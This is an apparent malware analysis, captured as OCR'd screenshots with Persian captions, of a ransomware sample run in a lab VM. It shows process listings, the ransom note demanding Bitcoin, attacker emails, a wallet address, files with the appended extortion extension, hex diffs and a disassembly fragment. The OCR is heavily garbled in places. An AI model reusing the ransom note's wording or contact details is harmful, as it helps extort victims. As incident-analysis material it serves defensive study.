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File Options View Process Find Users Help

@ =208 F R o | s

et 1]

Process CPU  Private Bytes =~ Working Set  PID  Description Company MName
5] System Idle Process 94.44 0K MK 1]
= 5] System 041 132K 952 K 4
B Intemupts 0.65 oK 0K n/a Hardware Intemupts and DPCs
[T smss.exe 440 K 1140 K 252 Windows Session Manager Microsoft Corporation
[m7] csrss.exe 0.01 2180K 4640K 332 Client Server Runtime Process Microscft Comporation
= B wininit .exe 1452 K 4372K 384 Windows Start-Up Application  Microsoft Corporation
[= [m7services exe 5164 K 9164 K 488 Services and Controller app Microsoft Corporation
=l [a7 svchost exe 4336 K 9760 K 60D Host Process for Windows S... Microsoft Corporation
[m5T] WmiPrvSE exe 8444 K 14328 K 2644 WMI Provider Host Microsoft Corporation
[m5] WmiPrv SE exe 2688 K 6488 K 2216 WMI Provider Host Microsoft Comporation
[m 7 wmacthlp exe 1436 K 4108 K 664 VMware Activation Helper VMware, Inc.
[m7swchost exe 4264 K 8728K  7D8 Host Process for Windows 5... Microsoft Comporation
= [m7swchost exe 13,268 K 18932 K 788 Host Process for Windows 5... Microsoft Corporation
[m7audiodg exe 15736 K 15732 K 3484 Windows Audio Device Grap... Microsoft Comporation
=l [a7 svchost exe 5BIEK 13296 K 832 Host Process for Windows S... Microsoft Corporation
=5 dwm exe 0.16 43776 K 51,288 K 1352 Desktop Window Manager Microsoft Corporation
[m 7 swchost exe 010 25692 K 42360 K 860 Host Process for Windows 5... Microsoft Comporation
[m 7 swchost exe TT92K 14,652 K 1020 Host Process for Windows S... Microsoft Comporation
[m7swchost exe 0.01 19,968 K 25356 K 776 Host Process for Windows 5... Microsoft Corporation
(= spoolsv exe 5520 K 16,228 K 1112 Spocler SubSystem App Microsoft Comporation
[m7swchost exe 10544 K 13192 K 1160 Host Process for Windows S... Microsoft Corporation
[m7taskhost exe 2,080 K 10,000 K 1260 Host Process for Windows T... Microsoft Corporation
=7 UploaderService exe 304K 7808 K 1500 TechSmith Uploader Service  TechSmith Corporation
[mWGALth Service exe 4552 K 10504 K 1704 VMware Guest Autherticatio... VMware, Inc.
mvnﬂoolsd.exe 0.04 10.012K 20076 K 1848 VMware Tools Core Service  VMware, Inc.
[m | ManagemertAgentHoste...| 0.16 5852 K N248K 1916
=7 Searchindexer exe 0.01 28704 K 23852 K 1760 Microsoft Windows Search |... Microsoft Corporation
[m7swchost exe 15920 K 5580 K 1908 Host Process for Windows S... Microsoft Corporation
i},msdtc.exe 3528 K 3036 K 2684 Microsoft Distibuted Transa... Microsoft Comporation
[m7swchost exe 3568 K 17292 K 2788 Host Process for Windows S... Microsoft Corporation
[m7swchost exe 66.812K 24052 K 2324 Host Process for Windows 5... Microsoft Comporation
[m 7 swchost exe 2172 K 6484 K 2884 Host Process for Windows 5... Microsoft Comparation
CRIEEEEE 4792 K 11,282 K 496 Local Security Authority Proc... Microsoft Comporation
[m7lsm exe 2572K 4264 K 504 Local Session Manager Serv... Microsoft Comporation
[ [m7 carss exe 0.08 10712 K 9440K 392 Client Server Rurtime Process Microsoft Comporation
{Z8 conhost exe 1432 K 45920 K 3144 Console Window Host Microsoft Corporation
n winlogon exe 272K E916 K 440 Windows Logon Application  Microsoft Comporation
=== explorer exe 012 56728 K 88604 K 1380 Windows Explorer Microsoft Corporation
. - | | 04173 14 300 I 2007 K 1740 ViR, Tonla i (o ASRA, !
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Process CPU  Private Bytes =~ Working Set  FID  Description Company Name
.| System Idle Process 89.17 0K 4K 1]
] 5] System 129 132K 1.016 K 4
| Intemupts 420 0K OK n/a Hardware Intemupts and DPCs
(57 smss.exe 440K 1,140 K 252 Windows Session Manager  Microsoft Comporation
(57 csrss exe 2180 K 4636K 332 Client Server Runtime Process Microsoft Corporation
=[BT wininit exe 1452 K 4372K 3284 Windows Start-Up Application Microsoft Comporation
[= [ services exe 0.01 5160 K 9156 K 488 Services and Controller app Microsoft Comporation
[ [m7 svchost exe 4328K 9.840K 60D Host Process for Windows S... Microsoft Corporation
(=] WmiPrvSE exe 8.808 K 14640 K 2644 WMI Provider Host Microsoft Corporation
[m 7| vmacthlp exe 1436 K 4108 K 664 VMware Activation Helper YWiMware, Inc.
[m7swchost exe <0.01 4368 K 8.808K 708 Host Process for Windows 5... Microsoft Corporation
[ [m7 svchost exe <0.01 18276 K 18960 K 788 Host Process for Windows 5... Microsoft Corporation
[m7]audiodg exe 15,592 K 15592 K 2820 Windows Audio Device Grap... Microsoft Corporation
[ [m7 svchost exe 5516 K 13356 K 832 Host Process for Windows 5... Microsoft Corporation
57| dwm exe 113 64,652 K 73684 K 1352 Desktop Window Manager Microsoft Corporation
[ [m7 svchost exe 0.01 22724 K 38.432K 860 Host Process for Windows 5... Microsoft Corporation
[ taskeng exe 2244 K 6452 K 30716 Task Scheduler Engine Microsoft Corporation
[m7swchost exe J8MK 14684 K 1020 Host Process for Windows 5... Microsoft Corporation
[m7swchost exe 0.m 20024 K 25252K 776 Host Process for Windows 5... Microsoft Corporation
[m7spoolsv exe 9520 K 16228 K 1112 Spooler SubSystem App Microsoft Corporation
[m7swchost exe <0.01 10.596 K 13.208 K 1160 Host Process for Windows 5... Microsoft Corporation
[ |taskhost exe 3264 K 10220 K 1260 Host Process for Windows T... Microsoft Corporation
[n 7| UploaderService exe I MK 7.808 K 1500 TechSmith Uploader Service  TechSmith Corporation
57| VGALthService exe 4592 K 10504 K 1704 VMware Guest Autherticatio... VMware, Inc.
mmoolsd.m 0.06 10168 K 20208 K 1848 VMware Tools Core Service  WMware, Inc.
[n7]ManagementAgentHoste..| 0.15 5,852 K 11.248K 1316
[n 7 Searchindexer exs INA6K 24076 K 1760 Microsoft Windows Search |... Microsoft Corporation
[m7swchost exe 1920K 5530 K 1308 Host Process for Windows 5... Microsoft Corporation
'},msdtc.eme 3528 K 8036 K 2684 Microsoft Distibuted Transa... Microsoft Corporation
[m7swchost exe 3568 K 17288 K 2788 Host Process for Windows 5... Microsoft Corporation
[m7swchost exe <0.01 6812 K 22144 K 2324 Host Process for Windows 5... Microsoft Corporation
[m7swchost exe 2172K 6434 K 2384 Host Process for Windows 5... Microsoft Corporation
[m7Isass exe 4816 K 11276 K 456 Local Securty Authority Proc... Microsoft Comporation
[m7lsm exe 2572 K 4272 K 504 Local Session Manager Serv... Microsoft Comporation
[ [m7 csrss exe 0.09 10,460 K 6520 K 352 Client Server Runtime Process Microsoft Corporation
[Z3 conhost exe 1432 K 4520K 3144 Console Window Host Microsoft Corporation
ﬂ winlogon .exe 2712 K 6916 K 440 Windows Logon Application  Microsoft Comporation
== explorer exe 0.06 65.812K 95,304 K 1380 Windows Explorer Microsoft Corporation
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HOW TO RECOVE &

File Edit Format View Help

Your files are now encrypted?

Your personal identifier:
GABZ00000060060011DDEADY1D91DI15CA3008035B329710FD37B693F5875F4C00B92166DAS6CG7 4BDFAEAEDEEYBT15568BA
S377F174F6FUBSBA2ZE334AASCEBDABD 23D 93 BESE/S3511F39ESF576D745CESBEESCC7FAB9 OBODE BB 1AP2B7DDBDGY73DDUGD 6
S59DEBDC75D382AAYSDEE1BADFE2BC21B9DAA3L186BC2BBECAEBDYBBE7BE94DFA1B55BDDEAGGBAPCI7BDDA7SA3ERS1B57DEEDD
BBEF7557662D13E84DEDGYBESEGOFF BEBAZATLEDSBCYEBAB1SE3EFLEA1CERBC77BECO42E1FGDB17BB77DDUIECIE2C3D2830F
22DB13B0O438F9AB7A3EA166C13193749BC991ECY82BDC1B754F3A3FA36A116498EEB730EBEGDBFE73CFADSBDE81BBLAUELBC LY
938B3EF35490421C57B9C3AYBEGBEIBEERTDEANT YACAD 2B 448987 21EBDSYB0338DFBDDB7EVEDSBASB1BFCYB658161207A1E
SE46OF69COAT18CEO12F OF 708D UBAYABGGBGCBYG67E

A1l your files have been encrypted due to a security problem with your PC.

Mow you should send us email with your personal identifier.

This email will be as confirmation you are ready to pay for decryption Key.

You have to pay for decryption in Bitcoins. The price depends on how fast you write to us.
After payment we will send you the decryption tool that will decrypt all your files.

Contact us using this email address: horsuke@nuke.africa
If you don't get a reply or if the email dies, then contact us to savioursBairmail.cc

Free decryption as guarantee?

Before paying you can send us up to 3 files for free decryption.

The total size of files must be less than 18Mb {(non archived), and files should not contain
valuable information (databases, backups, large excel sheets, etc.).

How to obtain Bitcoins?

* The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click
'Buy bitcoins®, and select the seller by payment method and price:
https:/flocalbitcoins.com/buy_bitcoins

* Also you can find other places to buy Bitcoins and beginners guide here:
http://wuw.coindesk.com/information/how-can-i-buy-bitcoins

jttentiont
* Do not rename encrypted files.
* Do not try to decrypt your data using third party software, it may cause permanent data loss.
* Decryption of your files with the help of third parties may cause increased price
(they add their fee to our) or you can become a victim of a scam.
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Hello. It was not easy to get your decryption key cuz it's so much time
passed... Here is your files uploaded down bellow:

S sl Jl) S 1 oS SV ke orle OF 3 oS 350 L3 e (s oy o
3 900 yeenS YGERTWRIZYXuALXWTpTa¢ AnxoKcGkZHWpF J o

To restore all files that belong to your id transfer 8.7 btc to wallet
address 1GgRTWRrZ3XuB4XWTpTadbnxokcGkZHwpF

After confiration of your transaction we will send you a decryptor
software and instruction how teo use it.

Please, contact us just in case of you're agree to pay. Respect your and
our time.

CAMA\ 4.:..::\.).: L;:VS‘JS)‘JQ‘CL) kﬂ«‘MLf}‘ dj':’. u.:gj.ﬂl?- dl?-)}m.l.; <=L>u‘ LSLAQ;‘”JJ"J"%

Bitcoin Address Addresses are identifiers which you use to send bitcoins to another person.

Summary Transactions
Address 1GORTWRIZ3Xus4XWTpTad6nxoKcGkZHwpF Mo. Transactions 1]
Hash 160 abie5663e734710afaf6580281d3f84ea7S5edbe Total Received 0BTC
Final Balance 0BTC
Request Payment Donation Button

slesl & | horsuke@nuke.africa L sus (5148 50, 51 Horsuke )\J-.étcb_ A o ylal &S shailen
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i Favorites

- Libraries
@ Documents

J‘i Music

[&=] Pictures

E Videos

1% Computer
£ Local Disk (C)

G«j Metwork

' 65 items

MName

. Print Form_files

| 'pd.nfo.hersuke@nuke.africa

L1 (A)bmp.horsuke@nuke.africa

|1 #).png.horsuke@nuke.africa

| 1({46).,jpg.horsuke@nuke.africa

|| L.pothorsuke@nuke.africa

|| 2 0'clock Spotlight.ple

L1 03_01_layout.mov.hersuke@nuke.africa
|| 4 5854862790426099907.mpd.horsuke@n...
| 73 - www.farshooks.mihanblog.com.rar....
| adlink_7582.htmlhorsuke@nuke.africa
|| adsutil.vbs.horsuke@nuke.africa

|| analytics.js.horsuke@nuke.africa

| Applocker.psdl

| AppxBlockMap.xml.horsuke@nuke.africa
|| bb.jpeg.horsuke@nuke.africa
|| BEH AARAMLPPt horsuke@nuke.africa

|| berme.doc.horsuke@nuke.africa

Block.bat

|| Block.class.horsuke@nuke.africa

|| block.xsd.horsuke@nuke.africa

+  BLOCK_SF.TTF

|| block-flashsubdoc-digest256.pset
|| BlockingHttpServer.java.horsuke@nuke.a...
|| blocklist-gfx,json.horsuke@nuke.africa

|| clockico.horsuke@nuke.africa

P TR P T

Organize ~ Include in library = Burn

- Favorites

- Libraries
@ Deocuments
J’ Music
(&= Pictures

B Videos

M Com puter
&, Local Disk (C:)

- Libraries
A UB-CERT
1M Computer
€ Network
[58 Control Panel
|2 Recycle Bin
. Victims

Date modified
/2018 1:53 PM

12/26/2006 &:12 PM
2/21/2011 6:32 AM

1/31/2015 11:44 AM
2/10/2014 11:46 AM
11/15/20161:25 PM
5/28/2015 1:05 AM
11/7/2015 923 PM

1/1/2017 8:28 PM
11/30/201512:31 ...
8/22/2013 T:25 PM
11/30/201512:31 ..
6/18/2013 4:59 PM
5/13/2018 9:58 PM
9/24/2015 11:40 AM
1/8/2011 6:15 PM
1/8/2011 6:15 PM

/2016 2:55 AM

4/8/20121:49 PM

6/18/2013 4:55 PM
/26/2002 4:21 AM

/4/2016 11:37 PM
/2004 3:42 PM

EETE L FL L R R . T Y

Type

File folder
AFRICA File
AFRICA File
AFRICA File
AFRICA File
AFRICA File
PLE File
AFRICA File
AFRICA File
AFRICA File
AFRICA File
AFRICA File
AFRICA File
PSD1 File
AFRICA File
AFRICA File
AFRICA File
AFRICA File

Windows Batch File

AFRICA File
AFRICA File

TrueType font file

PSET File

AFRICA File
AFRICA File
AFRICA File

VLT

Size

3KB
1,244 KB
199 KB
327 KB
242 KB
22KB
10,073 KB
1,420 KB
984 KB
1KB
15KB
26 KB
2KB
1KB
1,540 KB
535 KB
129 KB
2KB
3KB
2KB
166 KB
1KB

14 KB
28 KB
159 KB

1N

;’- Desktop »

| || e7c55835¢ceel e390bdedbad a2l c864 c74f16414f391 51 221 3f038f6celb3dT ee.exe horsuke@nuke.africa

|_|HOW TO RECOVER ENCRYPTED FILES.TXT
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Congratulations!
All your files have been encrypted!
If you want to restore them, write us to

1002am |

EN . o
B s

»
Tools

5> ZHWPYYWRMEbmp o ay ; oai ol b AS o 3,20 SL 3« |, horsuke@nuke.africa

NG wﬁ)l)é ij_ewdlﬁdﬁbsﬁusersjﬂy

Ei ﬂ » Computer » Local Disk (C:) » Users » UB-CERT » vl'yl Search UB-CERT )JI
Organize v [ElPreview v  Sharewith v  Print  Bum  Newfolder B =B [
e file v Print ¥ E-mail Bum v Open v o I
Favorites [ |
Contacts 1
J Libraries & Desktop
% Documents 8 Downloads
&) Music Bt Favorites Congratulations!
=] Pictures # Links All your files have been encrypted!
B Videos My bocuments If you want to restore them, write us to
¥ My Music
1M Computer = My Pictures
&, Local Disk (C) 8 My Videos
i Saved Games

€ Network

i
E

il zHwPYYWRMEbmp Date
Bl oo imooe Dir

Searches
HOW TO RECOVER ENCRYPTED FILES.TXT
NTUSER.DAT

&| zHWPYYWRMf.bmp

d: 7/25/2018 1:54 PM
s: 1000 x 700

Size: 2.00 MB
ted: 7/25/2018 1:54 PM

|, Windows uﬁjt}_ﬁuwﬁbswﬁwgﬂgﬂueu\ sl LB o5 slas 5o

Z.&S&e.’.ﬁum
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Organize » E Open Share with « Burn Mew folder
4 Favorites Mame Date mod'ified Type Size
[ ] ~res-x64.6t 7/24/201810:52 PM  Text Document 1,596 KB|
4 Libraries | || Ocejhapo 7/24/2018 10:43 PM  File 1KE |
@ Documents | | jusched.log 7/24/2018 1110 AM  Text Document 185 KB |
dﬁ Music || wmplog05.sgm 7/22/2018 5:54 PM  SQM File 2KB
[E5] Pictures || ~DFO3ESSE05DAA400EL.TMP 7/18/2018 1:08 AM  TMP File 0KB
B2 videos || ~DF185DFOFF34507614 TMP 7/18/2018 1:08 AM  TMP File 0KB
| wmplogdd.sgm 7/18/2018 1218 AM  SQM File 2KB
1% Computer | wmplog03.sgm 7/18/2018 1213 AM  SQM File 2KB
& Local Disk (C:) || wmplogl2.sgm 7/18/20181212 AM  SQM File 2KB
| wmplog0l.sgm T/18/2018 1210 AM  SQM File 2KB
“j Metwork | wmplog00.sgm 7/18/2018 1210 AM  SQM File 1KB
| wmsetup.log 7/18/2018 1210 AM  Text Document 5KB
| dd_Setup_decompression_log.txt 6/10/20181:3 PM  Text Document 2KB
? Microsoft NET Framework 4.7.1 Setup_2..  6/10/2018 1:34 PM Chromium HTML ... 957 KB
| dd_SetupUtility.tet 6/10/2018 1:34 PM  Text Document 5KB
|| Microsoft .NET Framework 4.7.1 Setup_2...  6/10/2018 1.33 PM  Text Document 16,843 KB
| ASPMNETSetup_00003.log / Text Document 3KB
| ASPNETSetup_00002.log 6/10/2018 1:29 PM  Text Document 5KB
|_| RGIF384.tmp 6/10/2018 1:29 PM  TMP File 11KB
|| RGIF384.tmp-tmp 6/10/2018 1:29 PM  TMP-TMP File 9KB
|| dd_wef_CA_smci_20180610_085857_442.6¢  6/10/2018 1:28 PM  Text Document 3KB
= dd_wef_CA_smci_20180610_085850_133.0¢¢  6/10/2018 1:28 PM  Text Document 5KB
@ Microsoft NET Framework 4.7.1 Setup_2.. 6/10/2018 1:21 PM Chromium HTML ... 1,050 KB
|| trp-ht8.xpi 6/10/2018 1:07 PM  XPIFile 1,608 KB
|| Dgiwueto 6/9/2018 10:38 PM  File 6 KB
|| Snagit_12_20180304232743.log 3/4/201811:29 PM  Text Document 20 KB
€ 10 MABNINANINTAT A O Tl AR A0 ORA Tt P e ok A anc wn

i 3 items selected Date modified: 7/24/2018 10:52 PM
Size: 1.73 MB

Date created: 3/2/2018 4:09 PM - 7/24/2018 10:52 PM

E;' v Computer v Local Disk (C:) » Users » UB-CERT » AppData » Local » Temp »

Organize = Open Share with - Burn MNew folder
S Favorites Name Date mod’ified Type Size
|| StructuredQuery.log 3/2/2018 3:23 PM Text Document 1KB
R X | dd_wcf CA_srci_20180302_115250 882.bct 3/ 3 Text Document TKB
e Libraries | dd_wcf_CA_smci_20180302_115252_582.txt Text Document 3KB
3 Docements | bch59BD.tmp TMP File 0KE
Js Music | vminst.log /2/2018 3:04 PM Text Document 147 KB
%I ::t:;:s [ vmmsilog_20180302_150456.log 3/2/2018304PM  Text Document 3315K8
| FXSAPIDebuglogFiletdt 3/2/2018 3:03 PM Text Document OKB
18 Computer | dd_veredistMS4668 bt Text Document 412 KB
T LT s ) | dd_vecredistUM668. bt Text Document 12 KB
== | dd_vecredistMSH627 bt 3/2/2018 2:03 PM Text Document 424 KB
“F NT— | dd_veredistUM627 bt 3/2/2018 3:03 PM Text Docurnent 12 KB
|&%| UB-CERT.bmp 3/2/2018 3:03 PM Bitmap image 49 KB
unattend.cmd 3/2/2018 2:48 PM Windows Comma... 1KB
=71 storePwd.exe 3/2/2018 2:48 PM Application 63 KB
4% | storePwd.ini 3/2/2018 2:458 PM Cenfiguration sett... 1KB
[ upgrader.exe 3/2/2018 2:45 PM Application 585 KB
| |/ hsperfdata_UB-CERT T/25/2018 10:28 AM  File folder |
| 1. wpDNSE 7/25/2018 10:22 AM _ File folder |
|| FlashBackBackup 7/16/2018 2:54 PM File folder
|/ FlashBackTemp 7/16/2018 2:54 PM File folder
|/ FTSUploadAgentTemp 7/16/2018 2:52 PM File folder
|\ {cffaad72-47bd-4c5e-9d60-fSef5cedfafl } 3/2/2018 3:54 PM File folder
| Microsoft Visual C++ 2010 x86 Redistrib... ~ 3/2/2018 3:27 PM File folder
. Microsoft Visual C++ 2010 x64 Redistrib...  3/2/2018 3:27 PM File folder
. vmware-UB-CERT 3/2/2018 3:09 PM File folder
I KLUDAST tmp.dir 3/2/2018 3:04 PM File folder
. Low 3/2/2018 2:02 PM File folder

2 items selected Date modified: 7/25/2018 10:22 AM
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2 » RecycleBin » v | 43 [ Search Recycle Bin £
e Empty the Recycle Bin Restore all iterns g‘:: >~ @
ﬂ beb21b245487422504 209937 32556... beb21b245487422504e2b99373256...
210 WinRAR archive 7/23/2018 1:08 PM
. efdcdI0ef514481 ce20009853eb3133 fdb9e49213b880cfIa57021279€36f6f
falies beb21b245487422504£2b99373256.., ef80901e4367f73b6T74144f7fb4946...
locuments & 7/25/2018 12:05 AM WinRAR archive
Ausic fg.ini Help_Sampad?.pdf
ictures Configuration settings Chromium HTML Document
: 310 bytes 606 KB
idens
how_to_decrypt_your_files.bt.bet lanran.rar r
Text Document WinRAR archive
mputer 171KB 123 kB
| Disk (C:
ocal Disk (C:) locker-nsh.zip Sample_Sadc50f2b4516a54a936c3d
WinRAR ZIP archive LExe
bwork 513 KB Ransom DotZerc CMD Ransom
Sh.adx).wEprorer-p.9-portab|e.1|p ShadowExplorerPortable-0.9
WinRAR ZIP archive File folder
134 KB
stamp_logo.gif UPX.Easy.GUL2.0_YasDL.com.rar
GIF image WinRAR archive
180 KB 131 MB
— v web manai.docx WelcomeFax.tif
Office Open XML Document TIFF image L
pocx| 187 KB 87.4 KB
24 items
- 4,' Search Victims 2|
library v Sharewith v Bum  Newfolder =~ 0 @

A%

J W

DOCX MP3
test.aac test.bmp Vtest.doc test.dootr test.gif test,jpg test.mkv testmp3
L LN L BN E. )L L
MPEG | | MPEG : &A‘ WAV
test.mpeg testmpg test.pdf test.ppt test.ppix O testhiff testint | tetwav | testads
23S Iy S 5 C,LJ 4 Horsuke )Ij-é\cl{ XS o 5 e
&) Cvictim\web manai dockhorsuke@nukefrica [l 2] | B CUsers\UB- CERT\Desktophweb manai docy B EE
001 2 3 4|5 6 7 8 012345678 001 2 3 4 5 6 7|8 012345678
00000000 33 4B 00 00 00 00 00 00 5B 3K...... [ +|[poo0oooo 50 4B 03 04 14 00 08 08 08 BR....... .
00000009 28 27 4D DB 56 90 18 1C A7 ('M.V (]l |o0000009 00 ca BC D8 4 00 00 00 00 ....J....
00000012 42 55 40 16 FF 1 E2 FE DE BUG...... 00000012 00 00 00 00 00 00 00 00 12 |.........
00000018 81 51 B3 96 E5 5C 0B 29 02 .Q...\.) 00000018 00 00 00 77 6F 72 64 2F 66 ...word/f
00000024 AB 7B AC 35 22 DC 67 €5 BA .{.5".g 00000024 6F 6E 74 54 61 62 6C 65 2E ontTable.
0000002D 77 D2 42 D1 63 44 D8 33 60 w.J.cD.3' 0000002D 78 6D 6C DD 96 DB BE DA 30 xml..... 0
00000036 cC0 75 C9 21 B6 D3 06 6F 0B .u.!...o 0000003¢ 10 86 EF 2B F3 1D 22 DF 77 STPaa ol
0000003F 76 BE BE 23 D5 07 16 D8 69 v..#....1 0000003F E3 98 70 D4 86 55 4B D5 AB ..p..UK..
00000048 ce 82 74 FA ES 00 8E 55 98 Booooll 00000048 D5 5E B4 B4 BD 9E 04 87 38 ."...... X
00000051 27 DO 86 49 B4 34 10 A3 46 '..I.4..F 00000051 BA 6D €4 87 AS F4 ES 3B 4E .md....;N
0000005 6D 2B OE DD 76 85 1E 93 AD mt..X.... 00000052 B2 2C §7 84 C3 8A 6D BS 35 .,....m.5
00000063 9C 4E CC A4 2D BC 7C CY F2 .N..-.|.. 00000063 02 25 3F 66 E2 4F 33 FF 0C .%?£.03..
0000006C 2B 7E CD 85 5C 10 98 E5 71 #~..\...g 0000006C B7 77 BF 64 EE 3D 72 63 85 .w.d.=rc.
00000075 OB 43 55 €2 21 A2 F2 F2 5F .CU.l... 00000075 56 11 09 6E 28 F1 BE 4a F4 V..n{..d.
0000007 35 6D 3E 41 76 DO 97 DE F1 Sm>Av 0000007E 4C A8 79 44 BE 4F BF 7C 18 L.yD.0.].
nNnNnANNoT nn WMo 0N A ~C On A0 Cm Aw T n nANNNANOT Fak = I BT W o T =i+ o B a B A s B £ 1- 4 &
[~ T-
SIS 5oy 3l 5 1 JL 4se
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File Edit Merge View Options Tools Help Register!
B 55 QB E|
Il ll C\victim\web manai_docx. C-\Users\UB-CERT\Deskitop\web manai_docx
(00000010 I:!£|A7 42 55 40 16 FF 1C EZ FE DE Bl 51 B3 96 =« [00000010 |00f(00 00 00 00 00 00 00 00 00 12 00 00 00 77 6F -
|00000020 5C 0B 29 OA AB 7B AC 35 22 DC &7 C5 Bh 77 D2 \: 00000020 72 64 2F &6 6F 6E T4 54 61 62 6C 65 2E T8 €D &C I:
00000030 D1 63 44 DB 33 €0 CcO 75 c@ 21 B6 DS 06 &F 0B (00000030 DD 96 DB SE DA 30 10 &6 EF 2B F5 1D 22 DF 77 E3
100000040 BE& BE 23 D5 07 16 D8 68 Cé B2 74 FA ES 00 BE 00000040 98 70 D4 86 55 4B D5 AB D5 S5E B4 B4 BD GE 04 B7
(00000050 98 27 DO 66 49 B4 34 10 A3 46 6D 2B (OE DD 78 (00000050 58 8A 6D 64 87 A5 F4 E9 3B 4E B2 2C 87 84 C3 82
100000060 1E 93 AD 9C 4E CC R4 2D BC 7C C8 F2 2B TE CD 00000060 6D BS 35 02 25 3F 66 E2 4F 33 FF OC B7 77 BF &4
j00000070 SC 10 98 ES 71 OB 43 55 €2 21 B2 F2 F2 5F 35 00000070 EE 3D 72 63 85 56 11 090 6F 28 F1 BE 4n F4 4C LS8
00000080 3E 41 76 DO 97 DE F1 DB EB 80 4c C5 BB 28 SE 00000080 79 44 BE 4F BF 7C 18 10 CF 16 A0 €6 90 &B C5 23
100000090 CF 55 52 58 13 Fg FE OA 2B D3 B2 34 12 85 BB 00000090 B2 E6 96 DC 8D DF BF BB 5D 8D 52 AD OA EB El1 EF
[000000A0 75 F9 B1 FD 87 3E F7 38 76 4E TA 6C 7D CE BB 000000R0 95 1D 99 88 64 45 B1 18 F9 BE 4D 32 2E Cl DE E&
100000080 &5 F1 D6 06 07 D4 R1 C8B DA 58 CD E3 B6 E6 3B 00000080 05 57 F8 5D AA 8D 84 02 6F CD DC D7 68 2A 12 FE
1000000C0  TF 68 94 cO0 A3 12 B8a OF &R 28 DC &F CD 3F 2F 000000C0 59 27 4B C9 55 F1 33 44 7B BE F1 38 14 F8 &C 9B
[000000D0 AF 39 E3 6B 0D D& 82 €B 15 ER D& F7 BC 1lE TF (000000D0 89 85 25 75 B4 D5 39 D1 56 DA cC 16 46 27 DC 52
|000000E0 29 D1 CB DA 9G BF CE 82 F1 38 Cé& &7 B7 e 1A 000000E0 3C AC CC AB 78 12 84 22 E3 FA 74 DE 6A R4 40 E2
000000F0 D1 04 54 1A 74 27 F7 20 65 16 72 A5 E4 19 AD (000000F0 A9 AT 42 72 EB 3D FO 95 F7 55 4B A8 36 2C 40 69
00000100 OE 98 BD FA 26 4R EC 4A 78 D3 36 06 C8 54 71 00000100 C€B 03 DC F3 08 79 44 28 €3 57 B8F 76 68 87 86 FB
100000110 83 B4 OF B5 8D ARG BO 40 44 6B 6 51 54 FO S92 00000110 €& 78 15 12 DF &D 4C 32 30 96 17 8B 8D B4 82 53
(00000120 FE CB 17 E3 95 EO AE BC AQ 22 FC 45 F7 BE F1 00000120 90 22 SF 3F A9 BO 2C 74 AS 5B 31 47 71 &9 &3 1z
j00000130 D7 BD BE BT 7B 44 E5 81 85 BF 36 52 BE DF 33 00000130 11 4E 29 65 90 A6 A4 52 B2 BB 24 RAB F4 07 61 A7
(00000140 86 7C 93 10 63 03 D6 BY FD FF SE DR RR BR (Of (00000140 56 98 8B 57 AE 61 AD 74 36 OA 75 4A 52 Cé 29 &F
100000150 B3 69 30 20 &3 R2 2B EC RAB CC 83 268 1E 6C 3F 00000150 83 2A 4E 52 C6 D9 EC C1 &7 FA 15 ED 01 F5 27 EF
100000160 &4 D6 FB BC OF EC BO FB 5B FD 06 6B B2 30 BRD 00000160 01 7B 83 12 CD BC 6F 85 74 §7 35 F2 C6 EC 7C 5F
00000170 03 9F 53 9C 8B ES 07 28 70 B 40 €2 85 27 &2 (00000170 17 04 D3 10 3Cc F3 OE B6 58 76 768 07 27 79 F1 74
100000180 SF BT 6B 25 D3 28 1F 82 C8 &4 DS 0B 33 4F DC 00000180 97 F1 FE C4 34 70 85 6B 1B 70 BB F4 &0 35 E7 F7
(00000190 63 EF 6D 35 A€ A6 C6 43 07 80 Ba 23 10 20 DB (00000180 42 DE 2D 3A 3C 67 DO Ccé 4B 6F F1 OE 76 95 33 798
100000140 79 BO9 3D 14 6E 28 46 63 E5 A2 4E €D E3 5F DF 00000120 BF AD 65 AC F3 16 D8 2E 0D 30 15 01 ED &3 51 33
j000001B0 94 S5A 51 6B AS D4 21 08 c1 55 BT 52 B6 5B DB 00000180 BC EB BF 71 D8 89 SFE 1A C1 8D 33 71 8B 7D FB &8
[000001cO 98 15 AB 4E 37 35 EO E4 BF 07 05 FE 1A F7 66 000001c0 D9 61 69 63 67 DF FO cD DB 77 02 BY 88 8D 68 Al
1000001D0 ED 38 40 59 68 8C 38 BAF 85 6F 24 FD 70 DD 1F 000001D0 4D 4B 44 56 92 76 DC ET 55 68 20 DB mg 75 ED 01
(000001EQ 37 40 98 22 A3 D2 12 02 BB €7 B4 B2 BE 85 40 (000001E0 92 6D F2 4C 1B 9C A6 1D SE 48 FB D1 08 €8 RE &5
j000001F0 4C 47 DC F5 S5F 8B 1A 4C D7 88 85 30 24 B5 04 000001F0 46 63 AC E1 BO A6 &5 57 63 FD 77 88 8D 42 86 &3
|00000200 8D 91 OF 38 4F B8 €3 14 7B 5B C& D& 04 BD 37 00000200 E8 28 6C 35 87 C2 EB CO A2 4F 10 DF 87 ED D1 &F
100000210 95 DB 2F 66 96 RB 8C FB OC 3E RA F5 OA D2 TE 00000210 BC OF CB 4E C1 06 2F 99 42 F7 BA 58 36 F7 64 B7
100000220 2E 1C 5C BE B8 BS AD 5D 08 78 EC DS 45 RE 4D 00000220 FE AF 19 34 01 89 9F 6D CB AD FB &7 51 65 B F7 .m.
o} NONNN230 nd 21 AR 3a 30 5/ N7 30 RC G2 3A4 RR RT FR Q3 T Jooonn23n nn ak AS A1 R3 &4 AF 34 RS Q7 GQ RA AR 51 DR AN A.i.f no. . al
6/25/2017 12:35:10 PM | 19.0 KB (19437) | \00000010 (16) 6/25/2017 12:35:10 PM | 18.8 KB (19247) | |00000010 (16)
Ready ¢ Profile | Source Only (1) Targetonly Changed @9) ¥ EDIT [ OVR CAPS  NUM

LSJ‘J‘;J”.).)‘M&LQ 4.:},«; ol

el sl b slaas

=
+ | web manai.docx.horsuke@nuke.africa vs web manai.docx [AII v“ % | E x
' Type Source &) Count f9)  Count [8)  Target [§) Count 18  Count [8)
Replaced (00000000 19437 4BED 00000000 19247 4B2F
E |%Cmmpare ﬂchedcsum | ﬂﬁ Find | lQ?Fj::::lclﬂarks | Output |

T

DS e sl Olay L5 IS askes

1@B4861E4 SUBROUTINE

1 @B4861E4

1BB4061E4 ; thunk

1 Be4861E4

1@84861E4 ; wvoid _ stdcall GetLocalTime(LPSYSTEMTIME lpSystemTime)

:@B4861E4 GetlocalTime proc near ; CODE XREF: sub_ 48CEAC+8ip

1 @B4861E4 ; sub_48CEDS+aip

1 @e4061E4

:@B84861E4 lpSystemTime = dword ptr 4

1 Be4B51E4

1 BB4B61E4 jmp ds:__imp_ GetLocalTime

:@B84861E4 GetlLocalTime endp

1 B8B4861E4

PBBABEIEL oo

